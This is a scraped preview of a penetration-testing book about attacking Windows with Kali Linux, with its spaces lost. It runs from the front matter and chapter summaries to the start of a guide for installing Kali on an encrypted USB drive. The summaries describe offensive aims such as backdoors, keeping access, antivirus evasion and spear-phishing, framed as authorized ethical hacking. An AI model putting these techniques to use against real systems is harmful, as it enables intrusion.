Upload
khangminh22
View
2
Download
0
Embed Size (px)
Citation preview
TableofContents
KaliLinux2:WindowsPenetrationTestingCreditsAbouttheAuthorsAbouttheReviewerwww.PacktPub.com
eBooks,discountoffers,andmoreWhysubscribe?
PrefaceWhatthisbookcoversWhatyouneedforthisbookWhothisbookisforConventionsReaderfeedbackCustomersupport
DownloadingthecolorimagesofthisbookErrataPiracyQuestions
1.SharpeningtheSawInstallingKaliLinuxtoanencryptedUSBdrive
PrerequisitesforinstallationBootingUpInstallingconfigurationSettingupthedriveBootingyournewinstallationofKali
RunningKalifromtheliveCDInstallingandconfiguringapplications
Gedit–theGnometexteditorTerminator–theterminalemulatorformultitaskingEtherApe–thegraphicalprotocolanalysistool
SettingupandconfiguringOpenVASReportingthetests
KeepNote–thestandalonedocumentorganizerDradis–theweb-baseddocumentorganizer
RunningservicesonKaliLinuxExploringtheKaliLinuxTop10andmoreSummary
2.InformationGatheringandVulnerabilityAssessmentFootprintingthenetwork
ExploringthenetworkwithNmapZenmapThedifferenceverbositymakesScanninganetworkrange
Wherecanyoufindinstructionsonthisthing?AreturntoOpenVASUsingMaltegoUsingUnicorn-ScanMonitoringresourceusewithHtopMonkeyingaroundthenetworkSummary
3.ExploitationTools(Pwnage)ChoosingtheappropriatetimeandtoolChoosingtherightversionofMetasploitStartingMetasploitCreatingworkspacestoorganizeyourattackUsingthehostsandservicescommandsUsingadvancedfootprinting
InterpretingthescanandbuildingontheresultExploitingpoorpatchmanagementFindingoutwhetheranyoneishome
UsingthepivotMappingthenetworktopivot
CreatingtheattackpathGrabbingsystemonthetargetSettingUptherouteExploringtheinnernetworkAbusingtheWindowsNETUSEcommand
AddingaWindowsuserfromthecommandlineSummary
4.WebApplicationExploitationSurveyingthewebscape
ConceptofRobots.txtConceptof.htaccessQuicksolutionstocross-sitescriptingReducingbufferoverflowsAvoidingSQLinjection
ArmyourselfwithArmitageWorkingwithasingleknownhostDiscoveringnewmachineswithNMap
ZingingWindowsserverswithOWASPZAPUsingZAPasanattackproxyReadingtheZAPinterface
SearchanddestroywithBurpSuiteTargetingthetestsubjectUsingBurpSuiteasaProxy
InstallingtheBurpSuitesecuritycertificateSpideringasitewithBurpSpider
Summary5.SniffingandSpoofing
SniffingandspoofingnetworktrafficSniffingnetworktraffic
BasicsniffingwithtcpdumpMorebasicsniffingwithWinDump(Windowstcpdump)PackethuntingwithWireshark
DissectingthepacketSwimmingwithWireshark
SpoofingnetworktrafficEttercap
UsingEttercaponthecommandlineSummary
6.PasswordAttacksPasswordattackplanning
CrackingtheNTLMcode(Revisited)PasswordlistsCleaningapasswordlist
MyfriendJohnnyJohntheRipper(commandline)xHydra
AddingatooltothemainmenuinKali2.xSummary
7.WindowsPrivilegeEscalationGainingaccesswithMetasploitReplacingtheexecutableLocalprivilegeescalationwithastandalonetoolEscalatingprivilegeswithphysicalaccess
RobbingtheHiveswithsamdump2Owningtheregistrywithchntpw
WeaselinginwithWeevelyPreparingtouseWeevelyCreatinganagentTestingWeevelylocallyTestingWeevelyonaWindowsserver
GettinghelpinWeevelyGettingthesysteminfoUsingfilesystemcommandsinWeevelyWritingintofiles
Summary8.MaintainingRemoteAccess
MaintainingaccessCoveringourtracks
MaintainingaccesswithNcatPhoningHomewithMetasploit
TheDropboxCrackingtheNAC(NetworkAccessController)CreatingaSpear-PhishingAttackwiththeSocialEngineeringToolkitUsingBackdoor-FactorytoEvadeAntivirusSummary
9.ReverseEngineeringandStressTestingSettingupatestenvironment
Creatingyourvictimmachine(s)Testingyourtestingenvironment
ReverseengineeringtheoryOnegeneraltheoryofreverseengineering
WorkingwithBooleanlogicReviewingawhileloopstructure
ReviewingtheforloopstructureUnderstandingthedecisionpoints
PracticingreverseengineeringDemystifyingdebuggers
UsingtheValgrindDebuggertodiscovermemoryleaksTranslatingyourapptoassemblerwiththeEDB-DebuggerEDB-DebuggersymbolmapperRunningOllyDbg
IntroductiontodisassemblersRunningJADCreateyourowndisassemblingcodewithCapstone
SomemiscellaneousreverseengineeringtoolsRunningRadare2
AdditionalmembersoftheRadare2toolsuiteRunningrasm2Runningrahash2Runningradiff2Runningrafind2Runningrax2
StresstestingWindowsDealingwithDenialPuttingthenetworkunderSiegeConfiguringyourSiegeengine
Summary10.Forensics
GettingintoDigitalForensicsExploringGuymager
StartingKaliforForensicsAcquiringadrivetobelegalevidenceCloningWithGuymager
DivingintoAutopsyMountingimagefilesSummary
Index
KaliLinux2:WindowsPenetrationTestingCopyright©2016PacktPublishing
Allrightsreserved.Nopartofthisbookmaybereproduced,storedinaretrievalsystem,ortransmittedinanyformorbyanymeans,withoutthepriorwrittenpermissionofthepublisher,exceptinthecaseofbriefquotationsembeddedincriticalarticlesorreviews.
Everyefforthasbeenmadeinthepreparationofthisbooktoensuretheaccuracyoftheinformationpresented.However,theinformationcontainedinthisbookissoldwithoutwarranty,eitherexpressorimplied.Neithertheauthors,norPacktPublishing,anditsdealersanddistributorswillbeheldliableforanydamagescausedorallegedtobecauseddirectlyorindirectlybythisbook.
PacktPublishinghasendeavoredtoprovidetrademarkinformationaboutallofthecompaniesandproductsmentionedinthisbookbytheappropriateuseofcapitals.However,PacktPublishingcannotguaranteetheaccuracyofthisinformation.
Firstpublished:June2016
Productionreference:1220616
PublishedbyPacktPublishingLtd.
LiveryPlace
35LiveryStreet
BirminghamB32PB,UK.
ISBN978-1-78216-849-2
www.packtpub.com
CreditsAuthors
WolfHalton
BoWeaver
Reviewer
PaoloStagno
CommissioningEditor
KunalParaikh
AcquisitionEditor
TusharGupta
ContentDevelopmentEditor
AishwaryaPandere
TechnicalEditor
MohitHassija
CopyEditor
MadhusudanUchil
ProjectCoordinator
NidhiJoshi
Proofreader
SafisEditing
Indexer
MariammalChettiyar
Graphics
KirkD'Penha
ProductionCoordinator
ShantanuN.Zagade
CoverWork
ShantanuN.Zagade
AbouttheAuthorsWolfHaltonisawidelyrecognizedauthorityoncomputerandinternetsecurity,anAmazonbestsellingauthoroncomputersecurity,andtheCEOofAtlantaCloudTechnology.Hespecializesinbusinesscontinuity,securityengineering,opensourceconsulting,marketingautomation,virtualizationanddatacenterrestructuring,andLinuxevangelism.WolfstartedhackingWindowsin1993andloadedLinuxforthefirsttimein2002.Wolfattributeswhateversuccesseshehashadtohisdarlingbride,Helen,withoutwhosetirelessencouragementhewouldhavenevercomesofarsofast.TocontactWolf,e-mailhimat<[email protected]>.
BoWeaverisanold-schoolponytailedgeekwhomissestheolddaysofblackscreensandgreentext,whenmicewereonlyfoundunderthesubflooringandmonitorsonlyhadeightcolors.Hisfirstinvolvementwithnetworkswasin1972,whileworkingonanR&DprojectcalledARPANETintheUSNavy.Here,healsolearnedthepowerofUnixandhowto"outsmart"theoperatingsystem.IntheearlydaysofBBSsystems,hehelpedsetup,secure,andmaintainthesesystemsintheSouth.HelaterworkedwithmanyintheindustrytosetupInternetprovidersandsecuredtheseenvironments.BohasbeenworkingwithandusingLinuxdailysincethe1990s,andheisapromoterofopensource(yes,BorunsonLinux).Hehasalsoworkedinphysicalsecurityfieldsasaprivateinvestigatorandinexecutiveprotection.BoisnowtheseniorpenetrationtesterforCompliancepoint,anAtlanta-basedsecurityconsultingcompany,whereheworksremotelyfromunderatreeintheNorthGeorgiamountains.BoisCherokeeandworkswithNativeAmericanyouthtohelpkeeptheirtraditionsaliveandstrong.Heisalsothefatherofageekson,Ross,ahackerinhisownright,andthegrandfatheroftwograndchildren,RachelandAustin,whoattheiryoungagecanNmapanetwork.TocontactBo,e-mailhimat<[email protected]>.
WewouldliketothankDyanaPearson(HackerGirl)andJoeSikesfortheirinputandsuggestions.Withouttheirassistanceandhumor,thisbookwouldnotbewhatitis.
SpecialthankstoOffensiveSecurityforcreatingtheKaliLinuxplatform,toRapid7forbringingusMetasploit,toInsecure.orgfortheNmaptoolsuite,andtoalltheupstreamdeveloperswhomakeourlivessomucheasier.Weproduced
toalltheupstreamdeveloperswhomakeourlivessomucheasier.Weproducedthisbookonopensourcesoftware,andallofthetoolsreviewedareopensource.
AbouttheReviewerPaoloStagno,akaVoidSec,isacybersecurityanalystandsecurityresearcher.
Hespecializesinpenetrationtesting,vulnerabilityassessment,cybercrime,andundergroundintelligenceforawiderangeofhigh-profileclientsacrosstop-tierinternationalbanks,majorcompanies,andindustriesusingbleeding-edgetechnologiesinthecyberspacearena.Hehasattendedvariousinternationalconferencesasaspeaker,suchasDEFCON,BlackHat,andDroidcon.
HeisalsotheleaderandfounderofthesecurityblogVoidSec(http://voidsec.com).Duringthelastfewyears,especiallyinItaly,theundergroundhackingcommunitydied,notforalackofideasorskillsbutbecausewelosttwofundamentalrequirements:ameetingplaceandthepossibilitytoshare.VoidSec.comintendstogivetoallhackersameetingplace,whereideascanbesharedfreely,wheretheoneswhoknowcansharetheirknowledgewiththecommunityandtheinexperiencedcanlearn.
eBooks,discountoffers,andmoreDidyouknowthatPacktofferseBookversionsofeverybookpublished,withPDFandePubfilesavailable?YoucanupgradetotheeBookversionatwww.PacktPub.comandasaprintbookcustomer,youareentitledtoadiscountontheeBookcopy.Getintouchwithusat<[email protected]>formoredetails.
Atwww.PacktPub.com,youcanalsoreadacollectionoffreetechnicalarticles,signupforarangeoffreenewslettersandreceiveexclusivediscountsandoffersonPacktbooksandeBooks.
https://www2.packtpub.com/books/subscription/packtlib
DoyouneedinstantsolutionstoyourITquestions?PacktLibisPackt'sonlinedigitalbooklibrary.Here,youcansearch,access,andreadPackt'sentirelibraryofbooks.
Whysubscribe?FullysearchableacrosseverybookpublishedbyPacktCopyandpaste,print,andbookmarkcontentOndemandandaccessibleviaawebbrowser
PrefaceAttacksonnetworksareincreasing,andthesedays,itisnotsomuchwhetheryournetworkwillbebreached,butwhen.Thestakesarehigh,andthetrainingmostWindowsengineersgetisweakinin-depthdefense.Youhavetothinklikeanattackertoknowwhatreallyneedsprotectioninyournetwork.Wearededicatedtoyoursuccessinprotectingyournetworkandthedatathatyourorganizationrunson.Thestakeholdersincludeyourcustomers,whosepersonaldatacanbeexploited.Thereisnopeaceofmindinhopingandprayingyournetworkissecure,andhopeisnotastrategy.WelcometothefascinatingworldofnetworkpenetrationtestingwiththeKalisecurityplatform.
Asaworkinghacker,youneedthemostcompactandcompletetoolsetforthelargestproportionofconditions.Thisbookhelpsyouprepareforandconductnetworktesting,surveillance,infiltration,penetrationtests,advancedpersistentthreatdetection,andforensicsonthemostcommonlyhackedoperatingsystemfamilyontheplanet,MicrosoftWindows,usingthemostcompactandflexibletoolsetontheplanet—KaliLinux.
WhatthisbookcoversChapter1,SharpeningtheSaw,teachesyoutheseveralwaysofsettingupKalitoperformdifferenttasks.Thischapterintroducesyoutothesetupthatworksbest,thedocumentationtoolsthatweusetomakesurethattheresultsofthetestsarepreparedandpresentedright,andthedetailsofLinuxservicesyouneedtousethesetools.MostbooksaboutKalisetthechaptersintheorderofthesubmenusintheKaliSecuritydesktop.Wehaveputallthesetupatthebeginningtoreduceconfusionforthefirst-timeKaliusersandbecausesomethings,suchasthedocumentationtools,mustbeunderstoodbeforeyoustartusingtheothertools.Thereasonwhythetitleofthischapteris"SharpeningtheSaw"isthattheskilledcraftsmanspendsabitmoretimepreparingthetoolssothejobgoesfaster.
Chapter2,InformationGatheringandulnerabilityAssessment,explainshowunderstandingthenetworkcanmakeahacker'slifealoteasier.YouneedtobeabletofindyourwayaroundyourtargetnetworkanddetermineknownvulnerabilitiestobeabletoexploitaWindowssystemremotely.Astimegoesby,youwilldiscoverthatyouhavememorizedmanyofthemosteffectiveWindowsexploits,butvulnerabilityassessmentisamovingtarget.Youwillneedtokeepbringingonnewexploitsastimegoesby.
Chapter3,ExploitationTools(Pwnage),demonstrateshowonceyouhavedoneyourduediligenceinvestigatingthenetworkanduncoveringseveralvulnerabilities,it'stimetoprovethatthevulnerabilitiesyouhavefoundarerealandexploitable.YouwilllearntousetoolstoexploitseveralcommonWindowsvulnerabilitiesandguidelinestocreateandimplementnewexploitsforupcomingWindowsvulnerabilities.
Chapter4,WebApplicationExploitation,tellsyouthatatleast25%ofthewebserversontheInternetareWindowsbased,andamuchlargergroupofintranetserversareWindowsmachines.Webaccessexploitsmaybesomeoftheeasiesttoperform,andhereyouwillfindthetoolsyouneedtocompromisewebservices(asubsetofexploitationtools).
Chapter5,SniffingandSpoofing,explainshownetworksniffinghelpsyouunderstandwhichusersareusingservicesyoucanexploitandIPspoofingcan
beusedtopoisonasystem'sDNScachesothatalltheirtrafficissenttoamaninthemiddle(yourdesignatedhost,forinstance)aswellasbeinganintegralpartofmoste-mailphishingschemes.SniffingandspoofingareoftenusedagainsttheWindowsendpointsinthenetwork,andyouneedtounderstandthetechniquesthatthebadguysaregoingtobeusing.
Chapter6,PasswordAttacks,warnsyouthatyourWindowssecurityisonlyasstrongastheweakestlinkinthechain.Passwordsareoftenthatweaklink.PasswordattackscanbeusedinconcertwithotherapproachestobreakintoandownaWindowsnetwork.
Chapter7,WindowsPrivilegeEscalation,asksthequestionofwhathappensifyouhavesomeaccessatalowerlevelbutwanttohaveadministrativeprivilegesonyourcompromisedWindowsserver.ThereareafewcoolwaystogetadministrativeprivilegesonaWindowsserverorworkstationwhenyouhavesomelower-levelaccess.ThisisagreatadvantagewhenyouwanttoinstallbackdoorsandmalwareservicesonatargetWindowsmachine.
Chapter8,MaintainingAccess,exploresthepossibilityofhowonceyouhavecrackedamachineoranetwork,youmaywanttomaintainaccesstoit.ThischaptercoverssomedeviouswaysofmaintainingaccessandcontrolofaWindowsmachineafteryouhavegainedaccessthroughthetechniquesyoulearnedinthepreviouschapters.
Chapter9,ReverseEngineeringandStressTesting,isaboutvoidingyourwarrantyforfunandprofit.TherearemanyrespectablereasonstoreverseengineeraWindowscomponent,service,orprogram,andKalihastoolstohelpyoudothat.ThischapteralsocoversstresstestingyourWindowsserverorapplication.ThisisagreatideaifyouwanttodiscoverhowmuchDDoSwillturnyourserverbelly-up.Thischapteristhebeginningofhowtodevelopananti-fragile,self-healingWindowsnetwork.
Chapter10,Forensics,explainshowforensicresearchisrequiredtohelpyouunderstandhowoneofyourWindowsdeviceswascompromised.ThischapterintroducesyoutoKaliLinuxforensictools.Forensicresearchcouldbeemployedtodealwithadamagedhardwarecomponentortofindorrecovercorruptedapplicationsordatafiles.
Whatyouneedforthisbook1. AnInternet-connectedcomputer/laptopforyourKaliattackplatform.2. Aworkstationwithaminimumof8GBofRAM.AnUbuntuorDebian
baseOSisrecommended.3. TheKaliLinuxISOthatmatchesyourworkstationarchitecture(32or64
bit).Downloaditfromhttp://kali.org.4. OracleVirtualBoxforyourworkstationtocreateVMsforWindowsand
KaliLinuxmachines.5. (Suggested)Severaltestmachinestosetupinyourtestnetwork.6. LicensesforWindows7,Windows8(8.1),Windows10,WindowsServer
2008,andWindowsServer2012.YoucangetevaluationcopiesofalloftheseexceptWindows7fromMicrosoft'swebsite(https://www.microsoft.com/en-us/evalcenter/).
WhothisbookisforThisbookisasetofremindersfortheworkingethicalhackerandaguidebooktotheKaliLinuxtoolkitfornetworkanalystswhoareimprovingtheirvaluetotheenterprisebyaddingoffensetotheirsecurityanalystdefense.Youideallyareanetworkengineerwithagoodgraspofnetworkingconceptsandoperatingsystems.Ifthenetworksecurityengineertitleisnolongerlargeenoughtofityourskillset,thisbookcanincreaseyourskillsevenmore.
Togetthemostoutofthisbook,youneedtohave:
CuriosityabouthowsystemsfailandhowtheycanbeprotectedAdvancedexperiencewithLinuxoperatingsystemsandthebashterminalemulatorAdvancedexperiencewiththeWindowsdesktopandcommandline
Ifyouareanabsolutebeginner,youmayfindthisbooktoochallengingforyou.YouneedtoconsidergettingtheKaliLinuxCookbookbyPritchettanddeSmet.IfyouareascriptkiddielookingforcheapexploitssoyoucanbragtoyourfriendsontheInterwebs,thisbookcouldhelpyougetyourfirst,best,realjob,oryourfirstfelonyconviction—choosewisely.
ConventionsInthisbook,youwillfindanumberoftextstylesthatdistinguishbetweendifferentkindsofinformation.Herearesomeexamplesofthesestylesandanexplanationoftheirmeaning.
Codewordsintext,databasetablenames,foldernames,filenames,fileextensions,pathnames,dummyURLs,userinput,andTwitterhandlesareshownasfollows:"Usearealdomainnamethatyouoryourcompanycontrols.Donotuseabogusdomainnamesuchas.localor.localdomain."
Anycommand-lineinputoroutputiswrittenasfollows:
root@kalibook:~#apt-get-yinstallgedit
Newtermsandimportantwordsareshowninbold.Wordsthatyouseeonthescreen,forexample,inmenusordialogboxes,appearinthetextlikethis:"PullupaterminalwindowbyclickinginthemenubarintheupperlefthandcornerandgotoApplications|Accessories|Terminal.Thiswillbringuptheterminalorcommand-linewindow."
Note
Warningsorimportantnotesappearinaboxlikethis.
Tip
Tipsandtricksappearlikethis.
ReaderfeedbackFeedbackfromourreadersisalwayswelcome.Letusknowwhatyouthinkaboutthisbook—whatyoulikedordisliked.Readerfeedbackisimportantforusasithelpsusdeveloptitlesthatyouwillreallygetthemostoutof.
Tosendusgeneralfeedback,simplye-mail<[email protected]>,andmentionthebook'stitleinthesubjectofyourmessage.
Ifthereisatopicthatyouhaveexpertiseinandyouareinterestedineitherwritingorcontributingtoabook,seeourauthorguideatwww.packtpub.com/authors.
CustomersupportNowthatyouaretheproudownerofaPacktbook,wehaveanumberofthingstohelpyoutogetthemostfromyourpurchase.
Downloadingthecolorimagesofthisbook
WealsoprovideyouwithaPDFfilethathascolorimagesofthescreenshots/diagramsusedinthisbook.Thecolorimageswillhelpyoubetterunderstandthechangesintheoutput.Youcandownloadthisfilefromhttps://www.packtpub.com/sites/default/files/downloads/KaliLinux2WindowsPenetrationTesting_ColorImages.pdf
Errata
Althoughwehavetakeneverycaretoensuretheaccuracyofourcontent,mistakesdohappen.Ifyoufindamistakeinoneofourbooks—maybeamistakeinthetextorthecode—wewouldbegratefulifyoucouldreportthistous.Bydoingso,youcansaveotherreadersfromfrustrationandhelpusimprovesubsequentversionsofthisbook.Ifyoufindanyerrata,pleasereportthembyvisitinghttp://www.packtpub.com/submit-errata,selectingyourbook,clickingontheErrataSubmissionFormlink,andenteringthedetailsofyourerrata.Onceyourerrataareverified,yoursubmissionwillbeacceptedandtheerratawillbeuploadedtoourwebsiteoraddedtoanylistofexistingerrataundertheErratasectionofthattitle.
Toviewthepreviouslysubmittederrata,gotohttps://www.packtpub.com/books/content/supportandenterthenameofthebookinthesearchfield.TherequiredinformationwillappearundertheErratasection.
Piracy
PiracyofcopyrightedmaterialontheInternetisanongoingproblemacrossallmedia.AtPackt,wetaketheprotectionofourcopyrightandlicensesveryseriously.IfyoucomeacrossanyillegalcopiesofourworksinanyformontheInternet,pleaseprovideuswiththelocationaddressorwebsitenameimmediatelysothatwecanpursuearemedy.
Pleasecontactusat<[email protected]>withalinktothesuspectedpiratedmaterial.
Weappreciateyourhelpinprotectingourauthorsandourabilitytobringyouvaluablecontent.
Questions
Ifyouhaveaproblemwithanyaspectofthisbook,youcancontactusat<[email protected]>,andwewilldoourbesttoaddresstheproblem.
Chapter1.SharpeningtheSawAcraftsmanisonlyasgoodashistoolsandtoolsneedtobesetupandmaintained.InthischapterwewillgothroughthesetupandconfigurationofKaliLinux.
ThereareseveralwaystosetupKalitoperformdifferenttasks.ThischapterintroducesyoutothesetupthatworksbestforyourWindows-hackingusecase,thedocumentationtoolsthatweusetomakesurethattheresultsofthetestsarepreparedandpresentedcorrectly,andthedetailsofLinuxservicesyouneedinordertousethesetools.MostbooksaboutKalisetthechaptersintheorderofthesubmenusintheKalisecuritydesktop.Wehaveputalltheset-upatthebeginningtoreducetheconfusionforfirst-timeKaliusers,andbecausesomethings,suchasthedocumentationtools,mustbeunderstoodbeforeyoustartusingtheothertools.ThereasonwhythetitleofthischapterisSharpeningtheSawisbecausetheskilledcraftsmanspendsabitmoretimepreparingthetoolstomakethejobgofaster.
IntheKaliDesktopMenu,thereisasub-menu,Top10SecurityTools,andthesearethetoolsthatthecreatorsofKaliLinuxbelievetobethemostindispensableweaponsforaworkingsecurityanalysttounderstand.Inthischapterwearegoingtoshowyouthetoolsweusethemost.MostofthemareintheKaliTop10Menu,butnotallofthem!
ManyofthesystemservicesonKaliLinuxarethesameasthoseonmostLinuxservers,butbecausetherearesecuritytoolsthatuseaclient/servermodel,thereareservicesthatwillneedtohavetheirserversstartedearlytorunyourtestssuccessfully.
LearntosetupKaliLinuxlikeaprofessional.TherearelotsofchoicesinsettingupaKaliLinuxworkstation,andsomearemoreeffectivethanothers.Onceyouhaveyourinstallationcomplete,youneedtomakeadecisiononwhatdocumentationsystemyouwillusetokeepyourresearchnotesandresultsorganizedandsecure.ThefinalsectionofthischapterisashortprimerinhowtousesecurityservicesonaLinuxOS.Almostalloftheservicesarestartedinthecommandline(CLI),andtheyarealmostuniformintheiroperationsyntax.
InstallingKaliLinuxtoanencryptedUSBdriveSecurenetworkingenvironmentssuchasthosefoundinmostorganizationsthathaveITdepartmentspresentseveralchallengestoyouasasecurityengineer.Thecompanyprobablyhasaspecificlistofapprovedapplications.Anti-virusapplicationsareusuallymanagedfromacentrallocation.Securitytoolsaremiscategorizedasevilhackingtoolsormalwarepackages.Manycompanieshavedefensiverulesagainsthavinganyoperatingsystemthatisn'tMicrosoftWindowsinstalledoncompanycomputinghardware.
Toaddtothechallenge,theyprohibitnon-corporateassetsonthecorporatenetwork.ThemainproblemyouwillfindisthatthereareveryfeweconomicalpenetrationtestingtoolswrittenforWindows,andthefew,suchasMetasploit,thatdohaveaWindowsversion,tendtofightwiththelower-leveloperatingsystemfunctions.Sincemostcompanylaptopsmusthaveanti-virussoftwarerunningonthesystem,youhavetodosomeseriousexceptionvoodooonMetasploit'sdirectories.Theanti-virussoftwarewillquarantineallthevirusesthatcomewithMetasploit.Also,intrusionprotectionsoftwareandlocalfirewallruleswillcauseproblems.TheseOSfunctionsandsecurityadd-onsaredesignedtopreventhacking,andthatisexactlywhatyouarepreparingtodo.
Note
ThePaymentCardIndustryDigitalSecurityStandard(PCIDSS3.0)requiresthatanyWindowsmachinethathandlespaymentdataorisonanetworkwithanymachinethathandlespaymentdatatobepatched,runsafirewallandhasanti-virussoftwareinstalledonit.Further,manycompanyITsecuritypoliciesmandatethatnoendusercandisableanti-virusprotectionwithoutapenalty.
AnotherissuewithusingaWindowsmachineasyourpenetration-testingmachineisthatyoumaydoexternaltestingfromtimetotime.InordertodoaproperexternaltestthetestingmachinemustbeonthepublicInternet.ItisunwisetohangaWindowsmachineoutonthepublicnetworkwithallyoursecurityapplicationsturnedoff.Suchaconfigurationwillprobablybeinfectedwithwormswithin20minutesofputtingitontheInternet.
Sowhat'stheanswer?AnencryptedbootableUSBdriveloadedwithKaliLinux.OnKali'sinstallscreenthereistheoptiontoinstallKalitoaUSBdrivewith
OnKali'sinstallscreenthereistheoptiontoinstallKalitoaUSBdrivewithwhatiscalled"persistence".ThisgivesyoutheabilitytoinstalltoaUSBdriveandhavetheabilitytosavefilestotheUSBbutthedriveisnotencrypted.BymountingtheUSBdrivewithaLinuxmachineyourfilesarethereforthetaking.ThisisfinefortryingoutKalibutyoudon'twantrealtestdatafloatingaroundonaUSBdrive.BydoinganormalfullinstallofKalitotheUSBdrive,fulldiskencryptioncanbeusedonthedisk.IftheUSBiscompromisedorlost,thedataisstillsafe.
InthischapterwewillinstallKalitoa64GBUSBdisk.Youcanuseasmalleronebutrememberyouwillbegatheringdatafromyourtestingandevenonasmallnetworkthiscanamounttoalotofdata.Wedotestingalmostdailysoweuseda1TBUSB3.0drive.The64GBdriveisagoodsizeformosttesting.
Prerequisitesforinstallation
Forthischapteryouwillneeda64GBthumbdrive,acopyofKaliburnedtoaDVDandamachinewithaDVDplayerandUSBcapabilitiesonboot.YoucandownloadKaliathttp://kali.organdlookforthedownloadlink.
BootingUp
Onceyouareready,insertyourDVDandyourUSBdriveintoyourmachine.
Note
BesuretoinserttheUSBbeforepoweringupthemachine.YouwantthemachinetoseetheUSBonbootsotheinstallerwillseeitduringtheinstall.
Nowpowerupthemachineandyou'llgetthescreenbelow.PicktheGraphicInstallfromthemenu.ThisinstallationwillalsoworkifyouusethetextinstallerfoundbypickingtheInstallcommandonlinesix.
Installingconfiguration
IfyouhaveeverinstalledanydistributionofLinux,thefirstsectionoftheinstallationshouldseemveryfamiliar.Youwillseeaseriesofscreensforthecountry,language,andkeyboardsetup.Setthisupforyourlocaleandlanguageofchoice.Normallytheinstallerwilldiscoverthekeyboardandyoucanclickontheonechosen.ClicktheContinuebuttontocontinueoneachofthesepages.
Aftertheseconfigurationsyou'llbepresentedwiththefollowingwindowandaskedtogiveitahostname.Giveitadistinctivenameandnotthedefault.Thiswillbehelpfullaterwhenusingsaveddataandscreenshotstaken.IfyouhaveseveralpeopleusingKaliandallthemachinesarenamedKaliitcanbeconfusingastoexactlywherethedatacamefrom.
Inthenextscreenyouwillbeaskedforadomainname.Usearealdomainnamethatyouoryourcompanycontrols.Donotuseabogusdomainnamesuchas.localor.localdomain.IfyouaredoingbusinessontheInternet,orevenifyouareanindividualpleaseuseaproperdomainname.Thismakestracingroutesandtrackingpacketseasier.Domainsarecheap.Ifthedomainbelongstoyouremployer,andyoucannotjustusetheirdomainname,requestasubdomainsuchastesting.mycompany.com.
Inthenextwindowyouwillbeaskedtoprovidearootpassword.Makethisagoodpassword.Thelongerandmorecomplexthepassword,thebetter.Remember,afterafewteststhekeystoyournetworkkingdomwillbeonthisdevice.Unlikemostcomputeroperationsduringtestingyouwillbeusingtherootaccountandnotanormaluseraccountfortesting.Youwillneedtheabilitytoopenandcloseportsandhavefullcontrolofthenetworkstack.
Note
AstandardKaliinstalldoesnotofferyouthechancetoaddastandarduser.IfyouinstallKalionthelaptopitself,andusethislaptopforotherthingsbesidestesting,createastandarduserandgiveitsudoerprivileges.YouneverwanttogetintothehabitofusingyourrootaccountforbrowsingtheWorld-WideWebandsendinge-mails.
Nexttobesetupisthetimezone.Setupbyyourlocationonthegraphicalmap,orpull-downmenu,orpickyourUTCoffset.ManyofthetoolsonKaliLinuxoutputtimestampsandtheseprovidelegalevidencethatyoudidwhatyousaidyoudid,whenyousaidyoudid.
Settingupthedrive
Thenextstepwillbesettingupthedrive,encryptingit,andpartitioningthedrive.Thenextdialogwillaskyoutoselectthetypeofpartitioningforthisinstall.
1. PickGuided–UseentirediskandsetupencryptedLVM.Thiswillfully-encrypttheentiredrive,asopposedtojustencryptingthe/homedirectory.
Inthenextwindowyouwillbeaskedtopickthediskyourequireforinstallation.
Tip
WARNING.BecarefultopicktheUSBdiskandnotyourlocaldrive.Ifyoupickyourlocaldriveyouwillwipetheoperatingsystemfromthat
youpickyourlocaldriveyouwillwipetheoperatingsystemfromthatdrive.NoteinthewindowbelowyoucanseetheUSBdriveandaVMwarevirtualdisk.Thevirtualdiskistheharddriveofthevirtualmachinebeingusedforthisdemonstration.
2. PicktheUSBdiskandclickonContinue.
3. Inthenextwindowyouwillbeaskedhowyouwanttopartitionthedrive.JustkeepthedefaultandclickonContinue.
4. Nextyouwillbeaskedtosavethepartitioninginformationandthiswillstartthepartitioningprocess.WhenyouclickonContinue,herealldatawillbelostonthediskyouareinstallingto.ClickonYesandthenContinue.
Thiswillstartthediskencryptionandpartitioningprocess.Firstthedriveisfullyerasedandencrypted.Thiswilltakeawhile.Getacupofcoffee,orbetteryet,goforawalkoutside.A1TBdrivewilltakeabout30hoursfortheencryptingprocess.The64GBdrivetakesabout30minutes.
5. Inthenextwindow,youwillbeaskedtogiveprovideapassphraseforthedriveencryption.YouwillusethispassphrasewhenbootingupKali.Notethetermpassphrase.
Tip
Usesomethingreallylongbuteasytoremember.Alinefromasongorapoemorquote!Thelongerthebetter!"Maryhadalittlelambandwalkedittotown."EvenwithnonumbersinthisphraseitwouldtakeJohntheRipperoveramonthtocrackthis.
6. Nextyouwillbeaskedtoconfirmthesechanges.PickFinishpartitioningandwritechangestodisk.AndthenclickContinue.
8. NextyouwillbeaskedifyouwanttouseaNetworkMirror.ClickYesonthis!Thiswillselectrepositorymirrorsclosetoyourlocationandhelpspeedupyourupdateslaterwhenyouupdateyoursystem.
9. Yourinstallationprocesswillnowcompleteandyouwillbeaskedtorebootthesystem.Besuretoremovetheinstalldiskbeforerebooting.
BootingyournewinstallationofKali
Nowwe'rereadytofireupKali.InsertyourKaliUSBdriveintoyourmachineandpoweritup.Inthebeginningofthebootprocessyouwillbegiventheabilitytomanuallyselectabootdrive.Thespecifickeystrokewillvarydependingonthetypeandmakeofyourmachine.Bywhateverprocessyourmachineusesyouwillbegivenamenuoftheavailabledrivestobootfrom.PicktheUSBdriveandcontinue.Whenthesystemboots,youwillbepresentedwithascreenaskingforyourpassphrase.Thisisthepassphrasewehadsetearlierduringtheinstallation.Thisisnottherootloginpassword.EnterthepassphraseandhittheEnterkey.
Thiswillstarttheactualbootprocessofthesystemfromthenowunencrypteddrive.Oncethesystemisbootedupyouwillbepresentedtheloginfollowingscreen:
Tip
HackerTip
Beforewegoanyfurtherwewouldadviseyoutousethesetoolsonlyonsystemsthatyouhavewrittenauthorizationtotest,orsystemsthatyoupersonallyown.AnyuseofthesetoolsonamachineyoudonothaveauthorizationtotestisillegalundervariousFederalandStatelaws.Whenyougetcaught,youwillgotojail.Sentencesforhackingtendtobedraconicallylong.
Getapersonalcopyofthetestingwaiverthatyourcompanyreceivestoallowthemtotesttheclient'snetworkandsystems.ThisdocumentshouldcontainthedatesandtimesoftestingandtheIPaddressesand/ornetworkstobetested.Thisisthe"scope"ofyourtesting.Thisdocumentisyour"Getoutofjailfreecard."Donottestwithoutthis.
Nowwiththatsaidlet'sloginandcontinueoursetup.
Nowwiththatsaidlet'sloginandcontinueoursetup.
1. HittheEnterkeyorclickonOtherinthemenubox.Youwillthenbegivenafieldaskingfortheusername.EntertherootandhittheEnterkey.Youwillthenbepromptedwiththepasswordfield.
